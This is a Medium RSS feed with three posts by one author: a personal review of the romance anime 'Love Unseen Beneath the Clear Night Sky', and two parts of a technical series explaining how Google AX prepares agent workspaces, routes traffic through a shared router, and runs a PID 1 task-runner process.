<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Asy0y0 on Medium]]></title>
        <description><![CDATA[Stories by Asy0y0 on Medium]]></description>
        <link>https://medium.com/@Asy0y0?source=rss-9df4e6fbdbdf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*655o6Y30WAzGYi4g</url>
            <title>Stories by Asy0y0 on Medium</title>
            <link>https://medium.com/@Asy0y0?source=rss-9df4e6fbdbdf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 09:44:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Asy0y0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Love Unseen Beneath the Clear Night Sky]]></title>
            <link>https://medium.com/@Asy0y0/love-unseen-beneath-the-clear-night-sky-dbe8fbfd263b?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbe8fbfd263b</guid>
            <category><![CDATA[love]]></category>
            <category><![CDATA[light-novel]]></category>
            <category><![CDATA[drama]]></category>
            <category><![CDATA[romance]]></category>
            <category><![CDATA[anime]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Sun, 01 Nov 2026 14:54:54 GMT</pubDate>
            <atom:updated>2026-11-13T01:43:20.979Z</atom:updated>
            <content:encoded><![CDATA[<h4>Why It Became My Favorite Romance Anime in 2026</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11M54468bmo8HmNn0Bzd4Q.png" /></figure><p>Something about <em>Love Unseen Beneath the Clear Night Sky</em> has stayed with me since I finished watching it. It brought back memories of the fireworks of my childhood. It also made me pay closer attention to the scenery on my walks along the river in Hangzhou.</p><p>I want to write about why I love this story, and why its heroine, Koharu Fuyutsuki — whom I’ll call Fuyutsuki from here on — has become a character I can’t stop thinking about.</p><h3>Why I Started Watching</h3><p>During the previews for the July anime season, this series appeared in my Bilibili feed. As I remember it, the main selling point was that Fuyutsuki would be voiced by Saori Hayami. She had also voiced Yachiyo in <em>Cosmic Princess Kaguya</em>, the Netflix anime film that became a hit earlier this year.</p><p>As an aside, Yachiyo was, for a while, my favorite character of the year. I even use her name as my <em>Call of Duty</em> username. Naturally, I was already looking forward to another work featuring Hayami.</p><p>Another reason was the unusual nature of the romance. I’ve watched plenty of romance anime, and the idealized relationships of a conventional Japanese school romance don’t move me as easily as they once did. In this series, Fuyutsuki is blind and has cancer. At the time of the trailer, though, I didn’t know about the cancer. All I knew was that the male lead would fall in love with a blind girl.</p><p>That made me curious. How would the anime portray her everyday life as a person with a disability? What difficulties would she face? What would make her fall in love with someone? Those were the questions I brought with me when I started following the show.</p><p>Of course, there’s one more reason I can’t leave out: Fuyutsuki is beautifully drawn. She looks gentle at first glance, with the long, straight black hair I love and the approachable warmth of an older sister. I suspect many people would get a similar impression just from seeing her.</p><p>Judging a character by her looks might seem a little shallow in a discussion of anime. Still, whether the heroine appeals to my tastes really does play a part in how much I look forward to a series.</p><h3>A Familiar Story</h3><p>A quick note before we go any further: this essay is about my reactions to the anime, so I won’t devote a separate section to summarizing the plot. I’ll assume you’ve seen the whole story, or at least know the broad outline, and bring up specific events as needed — including the ending.</p><p>What I’d love most, though, is for someone who hasn’t seen it to read this, decide to watch it, and eventually fall in love with the story — and with Fuyutsuki. I wholeheartedly recommend it to anyone. Trust me: you won’t be disappointed.</p><p>With that said, let’s begin.</p><p>The two leads meet, get to know each other, and spend a stretch of happy time together that brings them closer. Then, for one reason or another, they part. It’s a familiar storytelling template, one used by countless anime that break our hearts. If there’s a happy ending, they eventually overcome the obstacles and find their way back to each other.</p><p>Some more inventive anime break from this pattern at a crucial moment. <em>5 Centimeters per Second</em> is a good example. After the leads separate, they go on to live their own lives. No miracle brings them back together. Even a chance encounter on the street, briefly stirring memories of the past, must give way to the lives they are living now. To me, that irretrievable distance is what most youthful romances look like in real life.</p><p>I tend to look for something fresh in a story. I won’t give a predictable plot especially high praise, and when I watch anime, I often find myself guessing what will happen next. When I’m right, I can’t help feeling a little disappointed: “Ah, of course. The same old story.”</p><p>In broad terms, <em>Love Unseen Beneath the Clear Night Sky</em> follows exactly the pattern I’ve just described. Yet the way it unfolds kept surprising me.</p><h3>Heartache I Didn’t Expect</h3><p>After the male lead, Kakeru, confesses his feelings to Fuyutsuki at a monjayaki restaurant, she doesn’t respond for an entire week. She stops coming to university, too. It turns out her cancer has returned, and she’s been hospitalized.</p><p>Having neither read the source material nor encountered any spoilers, I had never imagined that someone as optimistic as Fuyutsuki had been living with cancer.</p><p>Then, when he visits to look after her, she acts as though she doesn’t know him. I completely believed that she’d lost her memory. Some details later made me suspicious, but I still couldn’t imagine her joking about something like that.</p><p>As he continued visiting, I expected a fairly straightforward progression: they would get to know each other again, grow closer as her condition improved, and eventually get back together. Instead, her health deteriorated again and again. Even staying alive until the children’s fireworks festival became something she had to struggle toward.</p><p>Just as I was thinking, “Fuyutsuki has tried so hard. Surely she deserves to have this one wish come true,” she coughed up blood on the day of the event and needed emergency treatment. She couldn’t be there to see it.</p><p>Her worsening health also affected her demeanor and their relationship. Much of what first drew him to her was her ability to stay optimistic despite her physical condition: her constant smile, and the wishes for the future she had written on her bookmark.</p><p>In the hospital, she seemed almost like a different person. She cried, became despondent, and rejected his kindness. Again and again, she pushed him away, unwilling to let him waste his time on someone she believed was going to die.</p><p>I imagine other viewers remember her outburst as vividly as I do. Hearing her say it hurt, even from the other side of the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtYSexqB17mErhA3YYAguQ.png" /><figcaption>Fuyutsuki: I’m telling you that I’m suffering!</figcaption></figure><h3>Fireworks That Keep Blooming</h3><p>Fireworks recur throughout both the anime and the original novel. From the first episode, when Fuyutsuki hears them and excitedly wants to run over to see them, her love for them is clear.</p><p>But how do you appreciate fireworks without using your eyes? Fuyutsuki gave me the perfect answer:</p><blockquote><em>“Fireworks are like the feelings we keep bottled up inside. Then, with a bang, they burst into the open, giving us a renewed sense of hope.”</em></blockquote><p>I live in China. When I was a child, families all around us would set off fireworks for Lunar New Year, and beautiful bursts of light would bloom across the night sky. Now, with environmental policies and public safety concerns, fireworks are increasingly restricted in cities.</p><p>Watching this anime brought those childhood memories back. Isn’t that part of what New Year’s fireworks mean to us — a way to say goodbye to the old year, wash away its sadness, and welcome the new year with hope? Isn’t that why the tradition has endured for so long?</p><h3>Scenery You Can Hear</h3><p>Throughout the anime, Kakeru describes the scenery and fireworks to Fuyutsuki. Readers of the original novel might connect with these moments even more deeply. Like her, they see the world of the story through words.</p><p>We’re so used to taking in the world with our eyes. Can you imagine what a landscape becomes when you close them?</p><p>This anime has changed my daily life. The two leads often walk along the water, with him describing what he sees to her. Watching this anime made me fall in love with being by the water, too.</p><p>As I walk along the riverside paths in Hangzhou, I find myself wondering whether the sea breeze they felt, the waves they saw, and the water they heard were anything like what I’m experiencing at that moment.</p><p>His descriptions of the fireworks even prompted me to look up where I could see a display nearby, and how soon. It had been so long since I’d watched fireworks bloom in the night sky.</p><p>On these walks, I think about how I once took all this beauty for granted. Now I want to hold on to it more vividly. Having a healthy body and being able to enjoy the scenery feels like a gift the world has given me.</p><p>When I run into difficulties or feel discouraged, I keep thinking of Fuyutsuki’s smile. Are my struggles really greater than hers? If she can stay hopeful, remain positive, and keep smiling, how much do my own difficulties really amount to?</p><h3>Falling for Her Twice</h3><p>Even though this is the beautiful world of anime, I couldn’t help bringing the question back to reality after watching it. If I were in his place, would I fall in love with a blind woman? Would I date her? Would I consider marrying her?</p><p>Honestly, I think my answer would be no. Being in a relationship with someone with a disability — and I mean no disrespect by that — takes a great deal of courage. Helping with her daily needs would require a considerable commitment of time and energy.</p><p>When Kakeru first fell for Fuyutsuki, he hadn’t yet seen her during her illness. I can understand how he was drawn to her smile, her gentleness, and her hope for life.</p><p>But then he witnessed her pain, sadness, and despair during her hospitalization. He was pushed away again and again. After all that, he was still willing to get to know her anew, and to fall for her again.</p><p>For that courage, he has my wholehearted admiration and respect.</p><h3>Fuyutsuki’s Wonderful Life</h3><p>Before you react to that heading, let me explain. I take no pleasure in watching someone suffer through illness. Quite the opposite: I chose those words after giving them a great deal of thought.</p><p>After finishing the anime, I was left with a feeling I couldn’t quite explain. Something about it had moved me and wouldn’t let go. Then I thought of what Fuyutsuki says in the recording in the final episode: that she has had such a wonderful life.</p><p>How could someone who was blind and had suffered so much from cancer describe her life as wonderful?</p><p>And yet she did. She felt that, without Kakeru, her life would have ended at nineteen. He gave her a second chance at life. In that second life, she had nothing to look back on with pain. She fell in love, got married, and had a daughter. She took her daughter to the Shichi-Go-San celebration, dressed her in the kimono she herself had worn as a child, and attended her daughter’s parent–teacher meetings and wedding…</p><p>Fuyutsuki fulfilled every one of her wishes. She truly had a wonderful life.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQHq8bOL4rCjgfebZTOSjQ.png" /><figcaption>Fuyutsuki: I’ve had such a wonderful life.</figcaption></figure><p>I think that’s why I love this anime so much. The series may be over, but on an ordinary evening, Fuyutsuki will still be there to walk a little way along the river with me.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbe8fbfd263b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Environments That Build Themselves, and One Router for a Billion Tasks]]></title>
            <link>https://medium.com/@Asy0y0/environments-that-build-themselves-and-one-router-for-a-billion-tasks-a9d1b145521b?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9d1b145521b</guid>
            <category><![CDATA[ax]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[agents]]></category>
            <category><![CDATA[google]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 07:29:42 GMT</pubDate>
            <atom:updated>2026-10-28T07:29:42.618Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside Google AX, Part 6: how workspaces get ready before your agent starts, why every task shares a single router, and the kubectl-style CLI that ties the whole system together.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QFNaTIwai6Z3wouRHWEG8w.png" /></figure><p><em>This is the final part of “Inside Google AX,” a six-part series on Google’s open agentic orchestration runtime. Part 5 dissected the runner at PID 1. Now we look at the environment it prepares, the network that reaches it, and the tool you actually type into.</em></p><p>We’ve covered a lot of ground in this series: why AX keeps its tasks out of etcd, how a request flows, what reconciliation really means, how the sandbox is walled off, and what the runner does at PID 1.</p><p>Three questions are left. How does a workspace actually get built? How does traffic find a task when there could be a billion of them? And what does it feel like to drive all this from a terminal? Let’s answer them, and then step back and look at the whole picture.</p><h3>How a workspace sets itself up</h3><p>In Part 5, “set up the workspaces” was a single line. Here’s what SetupWorkspace actually does on a task&#39;s first start.</p><p><strong>It creates the directories.</strong> The target path defaults to /workspace, and next to it, AX creates its own state directory at /ax.</p><p><strong>It uses markers to stay idempotent.</strong> If a marker file already exists under /ax, the whole setup is a no-op. Each workspace path gets its own marker, so multiple workspaces never interfere with each other. And crucially, <strong>the marker is only written if every git clone succeeded.</strong> If something fails, setup simply tries again next time.</p><pre>workspaces:<br>  - name: golang  → /workspace/golang → marker A<br>  - name: tools   → /workspace/tools  → marker B<br># each marker covers only its own path</pre><p><strong>It clones repositories carefully.</strong> The sequence is git init, then set or update the origin remote, then an optional shallow fetch with --depth, then a forced checkout of FETCH_HEAD. A few details show real care:</p><ul><li><strong>It’s idempotent,</strong> so it can safely re-enter a half-initialized directory.</li><li><strong>It never goes through a shell.</strong> Arguments are passed to git directly, which rules out shell injection.</li><li><strong>It retries failures five times, two seconds apart,</strong> and records the outcome in git-success.log or git-error.log.</li><li><strong>A failed clone doesn’t abort setup.</strong> The rest of the environment still gets built.</li></ul><p><strong>Skills get a directory, and that’s it.</strong> For skills, the runner only creates the skills.path directory.</p><p><strong>Goals get a bootstrap agent.</strong> If a binding has a goal, the runner executes python3 /usr/local/bin/antigravity_bootstrap.py --goal ... --workspace ... --data-dir .... The agent keeps its state under /ax/antigravity, so its logs and caches never pollute your workspace. If the script is missing, or there&#39;s no GEMINI_API_KEY, this step is skipped. If it times out or fails, the error is logged and <strong>your command starts anyway.</strong></p><p>That last rule is a recurring theme: environment setup is best-effort, and it’s never allowed to hold your agent hostage.</p><h3>The Planner: a glimpse of where this is heading</h3><p>There’s one more piece in the workspace code, and it hints at where AX wants to go.</p><p>Planner.PlanEnvironment(workspace, goal) takes a natural-language goal, something like &quot;I need an environment that can run Go builds,&quot; and hands it to an LLM: gemini-3.8-flash, configured through the default-model resource in the store. What comes back is an EnvironmentPlan, containing a generated summary of the bootstrap plan plus the workspace&#39;s original git, MCP, and skills references. Its system instruction even introduces itself as the &quot;AX system workspace environment planner.&quot;</p><p>One honest caveat: in the version of the code I studied, the Planner is only called from tests. The live startup path hands the goal straight to the Antigravity bootstrap script. So treat the Planner as a signpost rather than a shipping feature. It’s the first concrete step toward AX’s vision of an <em>agentic environment</em>: <strong>an environment that is planned by a model instead of scripted by hand.</strong></p><h3>All of this happens before your agent shows up</h3><p>Here’s the timeline of a task’s startup, with the environment work in context:</p><pre>Container starts (PID 1 = the runner wakes up)<br>1. start the port-80 HTTP service (/readyz = 503)<br>2. set up workspaces (git clone, skills dir)<br>3. goal bootstrap: hand the goal to the setup agent<br>   (e.g. install a Go toolchain; 10 min max by default)<br>4. /readyz flips to 200 (WorkspaceReady=True)<br>   -- everything above is environment preparation --<br>5. start spec.command: your agent gets to work<br>   -- this is what &quot;running the Task&quot; means --</pre><p>The goal itself is a field on a workspace binding in the Task spec (WorkspaceRef.goal), written by whoever authors the manifest:</p><pre>apiVersion: ax.io/v1alpha1<br>kind: Task<br>spec:<br>  workspaces:<br>    - name: golang<br>      # you write this part:<br>      goal: &gt;-<br>        Ensure that Go tool chain is available<br>        and is built from source</pre><p>So the division of labor looks like this. <strong>You supply the wish:</strong> the goal. <strong>Antigravity supplies the muscle,</strong> executing inside the sandbox. The Planner is designed to sit between the two and draft the plan. And all of it happens during startup, before your agent ever takes the stage.</p><h3>One router for a billion tasks</h3><p>Now for networking, which turns out to be Part 1’s big decision showing up again in a new costume.</p><h3>How Kubernetes usually does it</h3><p>Kubernetes gives you two standard building blocks for “help traffic find my Pods”:</p><ol><li><strong>A Service.</strong> Pods are ephemeral: they get rescheduled, they die, and they come back with new IP addresses. A Service puts a stable name in front of a group of Pods, a virtual IP plus a DNS name like my-svc.default.svc.cluster.local. Traffic goes to the name, and the Service forwards it to whichever Pods are alive right now. It solves the &quot;Pod IPs keep moving&quot; problem for traffic inside the cluster.</li><li><strong>An Ingress.</strong> It exposes Services to the outside world as a layer-7 entry point, routing by host and path and handling things like TLS termination.</li></ol><p>So “one Service, and maybe one Ingress, per application” is the normal way to do things in Kubernetes.</p><h3>Why AX doesn’t</h3><p>AX tasks don’t follow that pattern, and by now you can probably guess why. Tasks are short-lived objects numbering in the billions. Creating a Service for every task would mean an explosion of Kubernetes API objects, which leads straight back to etcd’s limits: the very reason AX gave up on CRDs in the first place.</p><p>So instead of a billion Services, AX uses <strong>one shared router</strong>:</p><pre>The usual Kubernetes way (one set of objects per app):<br>  App A → Service A<br>  App B → Service B<br>  App C → Service C<br>The AX way (one shared entry point):<br>  Task 123 →<br>  Task 456 → atenet-router → routed by header<br>  Task 789 →</pre><p><strong>Tasks don’t own Services or Ingresses.</strong> All traffic goes through atenet-router, a shared router living in the ate-system namespace, and the rules are refreshingly simple:</p><ul><li><strong>Routing looks at exactly one HTTP header:</strong> ate-target-actor: &lt;atespace&gt;/&lt;task&gt;, for example default/task123.</li><li><strong>The router finds the worker hosting that actor, automatically resumes it if it’s suspended,</strong> and then proxies the request.</li><li><strong>Actors and tasks share the same name.</strong> The reconciler guarantees this on purpose, which is why the header value is simply the task’s name.</li><li><strong>Host and </strong><strong>:authority pass through untouched.</strong> Only the routing header decides where a request goes.</li></ul><p>That naming guarantee is worth pausing on. A Task is the record in the books, a control-plane concept. An actor is the sandbox that’s actually running, an execution-layer concept. The reconciler keeps them paired one-to-one under the same name:</p><pre>The world you deal with (AX API + Redis):<br>  Task  ← your applied declaration + its status<br>           │ reconciler: creates it, reconciles it,<br>           │ keeps it in sync, same name<br>The world that actually runs (Agent Substrate):<br>  Actor ← the sandbox on a worker node</pre><h3>Three ways to reach a task</h3><p>Here’s how you’d talk to a task in practice:</p><pre># Inside the cluster: use the router&#39;s Service DNS name<br>ROUTER=http://atenet-router.ate-system.svc.cluster.local<br>curl -H &quot;ate-target-actor: default/task123&quot; \<br>  $ROUTER/metadata/v1alpha1/ax/task<br># From your machine: a port-forward tunnel<br>kubectl -n ate-system port-forward svc/atenet-router 8001:80<br>curl -H &quot;ate-target-actor: default/task123&quot; \<br>  http://localhost:8001/...<br># gRPC (Go): outgoing metadata, with a lowercase key<br>ctx = metadata.AppendToOutgoingContext(ctx,<br>    &quot;ate-target-actor&quot;, &quot;default/task123&quot;)</pre><p>And in case you’re wondering where those fixed names come from:</p><ul><li><strong>atenet-router</strong> is the service name, fixed when Agent Substrate is installed.</li><li><strong>ate-system</strong> is the namespace, also fixed at install time. Substrate always lives there.</li><li><strong>svc.cluster.local</strong> is Kubernetes&#39; default cluster DNS domain. A cluster&#39;s CoreDNS configuration can change it, but the vast majority of clusters use this one.</li><li><strong>Port 80</strong> is set in Substrate’s deployment manifests.</li></ul><h3>The CLI that ties it together</h3><p>Finally, the part you actually touch. The ax CLI will feel instantly familiar to anyone who has used kubectl:</p><ul><li><strong>ax apply -f &lt;file|-&gt;</strong> takes multi-document YAML and sends each document through the typed RPC for its kind. Tasks always report &quot;created.&quot; For Workspaces and Models, it first fetches the current object and compares it with proto.Equal, then reports created, unchanged, or <strong>configured</strong>, kubectl-style: workspace.ax.io/name configured.</li><li><strong>ax get tasks [name]</strong> prints a table with name, atespace, phase, actor, worker IP, and age. Give it a name, and it dumps the full YAML instead.</li><li><strong>ax describe &lt;task|workspace|model&gt; &lt;name&gt;</strong> shows the details plus a <strong>conditions table</strong> with TYPE, STATUS, REASON, and MESSAGE columns.</li><li><strong>ax watch task &lt;name&gt;</strong> follows the server-side stream, printing timestamped lines, and stops once the phase reaches Running, Completed, or Failed.</li><li><strong>ax suspend task &lt;name&gt;</strong> and <strong>ax resume task &lt;name&gt;</strong> trigger a checkpoint and a restore.</li><li><strong>ax delete &lt;task|...&gt; &lt;name&gt;</strong> deletes, then polls every 500 ms until the object is gone, with a five-minute timeout for tasks.</li><li><strong>ax ssh &lt;task&gt; [-- cmd]</strong> requires phase=Running, a worker IP, and spec.debug: true. If a direct connection fails, it falls back to going through atenet-router. The default command is /bin/sh, and the remote exit code is passed through.</li><li><strong>ax ctx</strong> and <strong>ax tunnel list|stop</strong> show your current kube context and the status of background tunnels, which are tracked in ~/.ax/tunnels.</li></ul><h3>What I’m taking away from AX</h3><p>After six posts, here are the ideas I keep coming back to. None of them are specific to agents.</p><ul><li><strong>Pick your storage for the workload’s shape, not out of habit.</strong> Kubernetes CRDs are the default choice, but billions of short-lived objects would have turned AX’s success into its host cluster’s outage.</li><li><strong>Keep the primitive tiny.</strong> One cheap, disposable Task, composed into trees, beats a zoo of specialized resource types.</li><li><strong>Make failure visible, not silently retried.</strong> Acknowledging every event keeps the queue moving and turns failures into state you can see.</li><li><strong>Put a small, boring supervisor at PID 1.</strong> The runner contract is why environments get prepared up front and every process gets cleaned up afterward.</li><li><strong>Default to closed, but remember that a closed door isn’t a lock.</strong> The debug gates are excellent; the missing authentication behind them is the gap to watch.</li><li><strong>Replace N of something with one shared thing when N is huge.</strong> A single header-based router instead of a billion Services is the same insight as Redis instead of etcd.</li></ul><p>If you’ve been experimenting with AX, or you’ve built something similar, I’d love to hear how you approached these trade-offs. Let me know in the comments.</p><h3>Key takeaways</h3><ul><li>SetupWorkspace is idempotent through per-path markers, clones without a shell, retries git five times, and never lets a failed step block your command.</li><li>Goal bootstrap runs the Antigravity agent before your command starts. The model-driven Planner exists in the code but, in the version I studied, is only called from tests.</li><li>Tasks don’t get Kubernetes Services. One shared atenet-router routes on the ate-target-actor header and wakes suspended tasks on demand.</li><li>Tasks and actors share names by design, which is what makes header-based routing possible.</li><li>The ax CLI mirrors kubectl: apply, get, describe, watch, suspend, resume, delete, and ssh, with automatic tunnels.</li></ul><p><em>Thanks for reading the whole series. If it helped you, consider following me so you don’t miss the next deep dive.</em></p><p><strong>Inside Google AX: the series</strong></p><ol><li>Why Google AX skipped CRDs, and its four building blocks</li><li>From ax apply to a running sandbox</li><li>Reconcile, explained like a thermostat</li><li>Three walls and a maintenance hatch</li><li>Your agent is never PID 1</li><li>Environments that build themselves, and one router for a billion tasks <em>(you are here)</em></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9d1b145521b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Agent Is Never PID 1: The Runner Contract Inside Google AX]]></title>
            <link>https://medium.com/@Asy0y0/your-agent-is-never-pid-1-the-runner-contract-inside-google-ax-e5149d0b5aee?source=rss-9df4e6fbdbdf------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5149d0b5aee</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ax]]></category>
            <category><![CDATA[agents]]></category>
            <dc:creator><![CDATA[Asy0y0]]></dc:creator>
            <pubDate>Mon, 05 Oct 2026 08:23:24 GMT</pubDate>
            <atom:updated>2026-10-05T08:23:24.528Z</atom:updated>
            <content:encoded><![CDATA[<h4>Inside Google AX, Part 5: why spec.command is data rather than an entrypoint, and what a tiny Go program does before and after your agent runs.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TfI5DTJ9yJdE063wwdSbEA.png" /></figure><p><em>This is Part 5 of “Inside Google AX,” a six-part series on Google’s open agentic orchestration runtime. Part 4 toured the sandbox’s walls. This time, we meet the program that lives inside them.</em></p><p>Here’s a question that sounds almost too simple: when AX starts your agent, what is the first process running in its container?</p><p>If you answered “my agent,” you’re in good company. You’re also wrong.</p><p>The first process, PID 1, is always a small Go program called ax-task-runner. Your agent comes later, as its child. That one detail explains a surprising amount of AX&#39;s behavior, so this post takes the runner apart piece by piece.</p><h3>What the control plane hands your container</h3><p>When the control plane creates your container, here’s exactly what goes in:</p><ul><li><strong>Image:</strong> spec.image, or the default runner image if you didn&#39;t set one.</li><li><strong>Command:</strong> <strong>always</strong> /usr/local/bin/ax-task-runner. No exceptions.</li><li><strong>AX_TASK_YAML:</strong> your Task spec, with the status stripped out.</li><li><strong>AX_WORKSPACES_YAML:</strong> your bound Workspaces, as a multi-document YAML stream in binding order.</li><li><strong>spec.env:</strong> your environment variables, passed straight into the container.</li><li><strong>GEMINI_API_KEY:</strong> injected when Gemini credentials are configured.</li><li><strong>Volume:</strong> /workspace, mounted as a DurableDir. <strong>It&#39;s snapshotted on suspend and restored on resume: the same files, with a new process tree.</strong></li><li><strong>Readiness probe:</strong> GET /readyz on port 80.</li></ul><h3>Your command is data, not an entrypoint</h3><p>Look at that list again. The spec.command: [&quot;python&quot;, &quot;agent.py&quot;] you wrote in your manifest never becomes the container&#39;s entrypoint.</p><p>Instead, it gets serialized into YAML, tucked inside the AX_TASK_YAML environment variable, and handed to the runner <strong>as data</strong>. The runner finishes its own chores first: it starts its HTTP service on port 80 and sets up your workspaces. Only then does it read your command out of that variable and launch it as a child process.</p><h3>Four doors on port 80</h3><p>The runner’s HTTP server, running on port 80 inside every sandbox, exposes four endpoints, each with a different audience:</p><ul><li><strong>/healthz:</strong> for the control plane. Is the runner alive? This is the liveness check.</li><li><strong>/readyz:</strong> for the reconciler, which is part of the control plane. Is workspace setup finished? The flip from 503 to 200 is where the WorkspaceReady condition from Part 2 comes from.</li><li><strong>/metadata/v1alpha1/ax/task:</strong> for the agent inside the sandbox. It&#39;s how a task reads its own spec: the &quot;birth certificate&quot; from Part 4.</li><li><strong>/metadata/v1alpha1/ax/workspaces:</strong> also for the agent. It returns the list of Workspaces bound to this task.</li></ul><p>Notice which way the information flows. Health and readiness travel from the sandbox to the control plane, but nothing is pushed: the control plane pulls them, with the reconciler polling /readyz every 500 ms. The metadata endpoints, meanwhile, exist so the sandbox can read about itself.</p><h3>So what is the runner, really?</h3><p>At its core, the runner is a small Go program: essentially one file, runner/runner.go, plus a thin wrapper in cmd/ax-task-runner. It runs as PID 1 in every task container.</p><p>It’s easiest to understand by ruling out three things it is <em>not</em>:</p><ol><li><strong>It’s not the sandbox.</strong> Isolation comes from the container plus gVisor, which is Agent Substrate’s job. The runner is just the first process that happens to live inside the sandbox.</li><li><strong>It’s not part of the control plane.</strong> It never connects back to any control-plane service. The direction is the other way around: the control plane comes to it, by polling /readyz.</li><li><strong>It’s not your agent.</strong> Your agent is the child process it launches and supervises.</li></ol><p>The closest analogy is <strong>the container’s init process, its own tiny systemd.</strong> Being PID 1 dictates the job description: start services, reap orphaned processes, handle signals, and manage the lifecycle.</p><p>It also leads a double life. It’s a <strong>product</strong>: the binary shipped in the default image built from Dockerfile.task-runner, which also bundles setup tools such as Python 3.12, git, and the Antigravity agent. And it&#39;s a <strong>library</strong>: you can import github.com/google/ax/runner and embed it in a program of your own.</p><p>That’s why I think the best way to read the name “runner” is this: <strong>it’s a contract plus a default implementation.</strong> Any program that honors the contract can be the runner.</p><h3>The life of spec.command, in five steps</h3><p>Here’s everything that happens between “the container starts” and “your command exits.”</p><p><strong>Step 1: The container starts with a fixed command.</strong> When the control plane created the actor, it hard-coded the entrypoint as /usr/local/bin/ax-task-runner. At this moment, your spec.command is nothing more than string data. It sits inside AX_TASK_YAML, the YAML serialization of your entire Task spec, which was placed in the container&#39;s environment alongside AX_WORKSPACES_YAML.</p><p><strong>Step 2: PID 1 wakes up and handles its own business first.</strong> It parses the two environment variables back into Task and Workspace objects, then starts the metadata HTTP service on port 80. At this point, /readyz returns 503. Notice the order: <strong>the service comes up before the environment is built,</strong> so the control plane can see &quot;alive, but not ready yet&quot; from the very first second.</p><p><strong>Step 3: It sets up the workspaces.</strong> One at a time, in binding order: clone the git repos, create the skills directory, and run the goal bootstrap. When all of them are done, /readyz flips to 200, and that&#39;s the signal behind WorkspaceReady. After the first run, a marker file records that setup is complete, so this step is skipped when a task comes back from a suspend.</p><p><strong>Step 4: Now, finally, it’s your command’s turn.</strong> The runner performs a single exec. The details, all in runner.go, look like this:</p><pre>exec spec.command   (e.g. [&quot;python&quot;, &quot;agent.py&quot;])<br>|-- working dir   = the first workspace&#39;s path<br>|-- environment   = runner env + AX_METADATA_URL<br>|                   + spec.env<br>|-- stdio         = inherited from the runner<br>|                   (shares the container console)<br>`-- process group = Setpgid: true (its own group)</pre><p>That last line is the easiest one to overlook and the most important. <strong>Your agent runs in its own process group,</strong> so every process it spawns later lands in the same group. When it’s time to stop or suspend, a single signal sent to the negative PID reaches the whole group and reaps everything cleanly. No stray processes survive.</p><p><strong>Step 5: It waits in two directions at once.</strong> The runner starts a goroutine that watches for the child to exit, while the runner itself blocks until its context is cancelled. That gives two possible endings:</p><ul><li><strong>Your command exits first.</strong> The runner records the exit code (or -1 if a signal killed the process) and fires the OnCommandExit hook, which you can use to upload artifacts, for example. And then it <strong>keeps running.</strong> That&#39;s deliberate: the sandbox stays observable, the metadata service stays up, and ax ssh still works. The exit code only goes into the logs; the control plane never reads it back. <strong>In AX&#39;s world, &quot;the command exited&quot; doesn&#39;t mean the task is over. The task is over when the sandbox is deleted.</strong></li><li><strong>The context is cancelled first.</strong> This happens on a stop or a suspend, when a signal hits PID 1. The runner forwards SIGTERM to the command&#39;s process group, waits through a 10-second grace period, sends SIGKILL to anything still standing, and then exits itself, after flushing the state it needs for a later resume to disk.</li></ul><h3>The whole picture</h3><p>Put it all together, and this is the process tree inside every sandbox:</p><pre>Container (gVisor sandbox)<br>`-- PID 1: ax-task-runner (a Go program)<br>    |-- :80 HTTP: metadata + /readyz<br>    |   (also serves guest gRPC when debug is on)<br>    `-- process group: spec.command (your agent)<br>        `-- everything your agent spawns</pre><p>Small program, big consequences. Because the runner owns PID 1, AX can prepare environments before your agent starts, keep sandboxes observable after it finishes, and clean up every last process when it’s time to go.</p><h3>Key takeaways</h3><ul><li>The container entrypoint is always /usr/local/bin/ax-task-runner. Your spec.command arrives as data inside AX_TASK_YAML.</li><li>The runner serves four endpoints on port 80: liveness and readiness for the control plane, and self-metadata for the agent.</li><li>It’s not the sandbox, not the control plane, and not your agent. It’s the container’s init process, and a contract that any program can implement.</li><li>The service comes up before the environment is built, so “alive but not ready” is visible from second one.</li><li>Your agent gets its own process group, so stops and suspends can reap everything with one signal. A command exiting doesn’t end the task; deleting the sandbox does.</li></ul><p><em>Next up, in Part 6, the finale: how workspaces set themselves up, how one router replaces a billion Kubernetes Services, and the kubectl-style CLI that ties it all together.</em></p><p><strong>Inside Google AX: the series</strong></p><ol><li>Why Google AX skipped CRDs, and its four building blocks</li><li>From ax apply to a running sandbox</li><li>Reconcile, explained like a thermostat</li><li>Three walls and a maintenance hatch</li><li>Your agent is never PID 1 <em>(you are here)</em></li><li>Environments that build themselves, and one router for a billion tasks</li></ol><img 